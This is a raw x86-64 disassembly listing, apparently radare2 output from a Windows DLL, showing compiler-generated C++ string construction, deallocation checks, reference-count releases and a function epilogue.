call fcn.1800b8790
mov r8d, 1
lea rdx, [0x180103f5c]
lea rcx, [rbp + 0x320]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x320], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x330], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
call fcn.1800b8790
cmp qword [rbp - 0x78], 0x10
lea rdx, [rsp + 0x70]
mov r8, qword [rbp - 0x80]
lea rcx, [rbp + 0x300]
cmovae rdx, qword [rsp + 0x70]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x300], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x310], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
call fcn.1800b8790
mov r8d, 1
lea rdx, [0x180103f5c]
lea rcx, [rbp + 0x2e0]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x2e0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x2f0], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
call fcn.1800b8790
cmp qword [rbp - 0x18], 0x10
lea rdx, [rbp - 0x30]
mov r8, qword [rbp - 0x20]
lea rcx, [rbp + 0x2c0]
cmovae rdx, qword [rbp - 0x30]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x2c0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x2d0], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
call fcn.1800b8790
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x2a0], xmm0
movups xmm1, xmmword [rax + 0x10]
mov r8d, 1
lea rdx, [0x180103f5c]
lea rcx, [rbp + 0x2a0]
movups xmmword [rbp + 0x2b0], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
call fcn.1800b8790
cmp qword [rbp - 0x38], 0x10
lea rdx, [rbp - 0x50]
mov r8, qword [rbp - 0x40]
lea rcx, [rbp + 0x280]
cmovae rdx, qword [rbp - 0x50]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x280], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x290], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
call fcn.1800b8790
mov r8d, 3
lea rdx, [0x180103f58]
lea rcx, [rbp + 0x260]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x260], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x270], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
call fcn.1800b8790
mov rdx, qword [rsp + 0x48]
movups xmm6, xmmword [rax]
movups xmm7, xmmword [rax + 0x10]
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
movups xmmword [rbp + 0x450], xmm6
movups xmmword [rbp + 0x460], xmm7
cmp rdx, 0x10
jb 0x18009cd9f
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009cd9a
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d4c3
call fcn.1800c1180
mov rdx, qword [rbp + 0x278]
movups xmmword [rsp + 0x30], xmm6
movups xmmword [rsp + 0x40], xmm7
cmp rdx, 0x10
jb 0x18009cdea
mov rcx, qword [rbp + 0x260]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009cde5
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d4c3
call fcn.1800c1180
mov rdx, qword [rbp + 0x298]
mov qword [rbp + 0x270], r15
mov qword [rbp + 0x278], 0xf
mov byte [rbp + 0x260], r15b
cmp rdx, 0x10
jb 0x18009ce44
mov rcx, qword [rbp + 0x280]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009ce3f
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d4c3
call fcn.1800c1180
mov rdx, qword [rbp + 0x2b8]
mov qword [rbp + 0x290], r15
mov qword [rbp + 0x298], 0xf
mov byte [rbp + 0x280], r15b
cmp rdx, 0x10
jb 0x18009ce9e
mov rcx, qword [rbp + 0x2a0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009ce99
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d4c3
call fcn.1800c1180
mov rdx, qword [rbp + 0x2d8]
mov qword [rbp + 0x2b0], r15
mov qword [rbp + 0x2b8], 0xf
mov byte [rbp + 0x2a0], r15b
cmp rdx, 0x10
jb 0x18009cef8
mov rcx, qword [rbp + 0x2c0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009cef3
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d4c3
call fcn.1800c1180
mov rdx, qword [rbp + 0x2f8]
mov qword [rbp + 0x2d0], r15
mov qword [rbp + 0x2d8], 0xf
mov byte [rbp + 0x2c0], r15b
cmp rdx, 0x10
jb 0x18009cf52
mov rcx, qword [rbp + 0x2e0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009cf4d
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d4c3
call fcn.1800c1180
mov rdx, qword [rbp + 0x318]
mov qword [rbp + 0x2f0], r15
mov qword [rbp + 0x2f8], 0xf
mov byte [rbp + 0x2e0], r15b
cmp rdx, 0x10
jb 0x18009cfac
mov rcx, qword [rbp + 0x300]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009cfa7
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d4c3
call fcn.1800c1180
mov rdx, qword [rbp + 0x338]
mov qword [rbp + 0x310], r15
mov qword [rbp + 0x318], 0xf
mov byte [rbp + 0x300], r15b
cmp rdx, 0x10
jb 0x18009d006
mov rcx, qword [rbp + 0x320]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009d001
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d4c3
call fcn.1800c1180
mov rdx, qword [rbp + 0x368]
mov qword [rbp + 0x330], r15
mov qword [rbp + 0x338], 0xf
mov byte [rbp + 0x320], r15b
cmp rdx, 0x10
jb 0x18009d060
mov rcx, qword [rbp + 0x350]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009d05b
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d4c3
call fcn.1800c1180
mov rdx, qword [rbp + 0x198]
mov qword [rbp + 0x360], r15
mov qword [rbp + 0x368], 0xf
mov byte [rbp + 0x350], r15b
cmp rdx, 0x10
jb 0x18009d0ba
mov rcx, qword [rbp + 0x180]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009d0b5
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d4c3
call fcn.1800c1180
mov rdi, qword [rsp + 0x40]
inc dword [0x180119520]
mov r8, qword [rbp + 0xe0]
movabs rsi, 0x2aaaaaaaaaaaaaab
mov rcx, qword [rbp + 0xe8]
mov rax, rsi
sub rcx, r8
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rbp + 0x128]
cmovne rax, r8
mov rcx, qword [rax]
lea rax, [rbp + 0x128]
sub rcx, qword [rbp + 0xd0]
test rdx, rdx
cmovne rax, r8
cmp byte [rax + 0x10], r15b
je 0x18009d126
movups xmm0, xmmword [rax]
movups xmmword [rbp + 8], xmm0
jmp 0x18009d12e
xorps xmm0, xmm0
movdqu xmmword [rbp + 8], xmm0
sub rcx, qword [rbp + 8]
add rcx, qword [rbp + 0x10]
mov rdx, qword [rbp - 0x58]
add rbx, rcx
mov rax, qword [rbp - 0x70]
jmp 0x18009c060
call qword [0x180119498]
mov rdx, qword [rbp - 0x38]
cmp rdx, 0x10
jb 0x18009d187
mov rcx, qword [rbp - 0x50]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009d182
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d4c9
call fcn.1800c1180
mov rdx, qword [rbp - 0x18]
cmp rdx, 0x10
jb 0x18009d1c2
mov rcx, qword [rbp - 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009d1bd
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d4c9
call fcn.1800c1180
mov rdx, qword [rbp - 0x78]
cmp rdx, 0x10
jb 0x18009d1fe
mov rcx, qword [rsp + 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009d1f9
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d4c9
call fcn.1800c1180
mov r8, qword [rbp + 0xe0]
test r8, r8
je 0x18009d26f
mov rcx, qword [rbp + 0xf0]
mov rax, rsi
sub rcx, r8
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
mov rax, r8
lea rdx, [rdx + rdx*2]
shl rdx, 3
cmp rdx, 0x1000
jb 0x18009d255
mov r8, qword [r8 - 8]
add rdx, 0x27
sub rax, r8
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d4c9
mov rcx, r8
call fcn.1800c1180
xorps xmm0, xmm0
mov qword [rbp + 0xf0], r15
movdqa xmmword [rbp + 0xe0], xmm0
mov rcx, qword [rbp + 0x50]
test rcx, rcx
je 0x18009d2aa
mov eax, r12d
lock xadd dword [rcx + 0x2c], eax
cmp eax, 1
jne 0x18009d2aa
mov rbx, qword [rbp + 0x50]
test rbx, rbx
je 0x18009d2aa
lea rax, [rbx + 0x10]
mov rcx, rbx
mov rbx, qword [rax]
mov edx, 1
mov qword [rax], r15
mov rax, qword [rcx]
call qword [rax]
test rbx, rbx
jne 0x18009d28e
mov rcx, qword [rbp + 0x70]
mov qword [rbp + 0x50], r15
test rcx, rcx
je 0x18009d2d0
mov rax, qword [rcx]
call qword [rax + 0x10]
test rax, rax
je 0x18009d2d0
mov r8, qword [rax]
mov edx, 1
mov rcx, rax
call qword [r8]
mov rcx, qword [rbp + 0x78]
test rcx, rcx
je 0x18009d30b
mov eax, r12d
lock xadd dword [rcx + 0x2c], eax
cmp eax, 1
jne 0x18009d30b
mov rbx, qword [rbp + 0x78]
test rbx, rbx
je 0x18009d30b
lea rax, [rbx + 0x10]
mov rcx, rbx
mov rbx, qword [rax]
mov edx, 1
mov qword [rax], r15
mov rax, qword [rcx]
call qword [rax]
test rbx, rbx
jne 0x18009d2ef
mov rcx, qword [rbp + 0x98]
mov qword [rbp + 0x78], r15
test rcx, rcx
je 0x18009d334
mov rax, qword [rcx]
call qword [rax + 0x10]
test rax, rax
je 0x18009d334
mov r8, qword [rax]
mov edx, 1
mov rcx, rax
call qword [r8]
mov rax, qword [rbp + 0xa0]
test rax, rax
je 0x18009d374
lock xadd dword [rax + 0x2c], r12d
cmp r12d, 1
jne 0x18009d374
mov rbx, qword [rbp + 0xa0]
test rbx, rbx
je 0x18009d374
lea rax, [rbx + 0x10]
mov rcx, rbx
mov rbx, qword [rax]
mov edx, 1
mov qword [rax], r15
mov rax, qword [rcx]
call qword [rax]
test rbx, rbx
jne 0x18009d358
mov rcx, qword [rbp + 0xc0]
mov qword [rbp + 0xa0], r15
test rcx, rcx
je 0x18009d3a0
mov rax, qword [rcx]
call qword [rax + 0x10]
test rax, rax
je 0x18009d3a0
mov r8, qword [rax]
mov edx, 1
mov rcx, rax
call qword [r8]
mov rdx, qword [rbp - 0x58]
cmp rdx, 0x10
jb 0x18009d3db
mov rcx, qword [rbp - 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009d3d6
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d4cf
call fcn.1800c1180
mov r12, qword [rbp + 0x510]
movups xmm0, xmmword [rsp + 0x30]
mov rdx, qword [rsp + 0x68]
movups xmm1, xmmword [rsp + 0x40]
movups xmmword [r12], xmm0
movups xmmword [r12 + 0x10], xmm1
cmp rdx, 0x10
jb 0x18009d430
mov rcx, qword [rsp + 0x50]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009d42b
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d481
call fcn.1800c1180
mov rcx, r13
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x68], 0xf
mov byte [rsp + 0x50], 0
call fcn.1800b8830
mov rcx, r14
call fcn.1800b8830
movaps xmm6, xmmword [rsp + 0x5c0]
mov rax, r12
movaps xmm7, xmmword [rsp + 0x5b0]
mov rbx, qword [rsp + 0x618]
add rsp, 0x5d0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.1800cc350
int3
call fcn.1800cc350
int3
call fcn.1800cc350
int3
call fcn.180089bd0
int3
call fcn.180089bd0
int3
call fcn.180089bd0
int3
call fcn.1800cc350
int3
call fcn.1800cc350
int3
call fcn.1800cc350
int3
call fcn.1800cc350
int3
call fcn.1800cc350
int3
call fcn.1800cc350
int3
call fcn.1800cc350
int3
call fcn.1800cc350
int3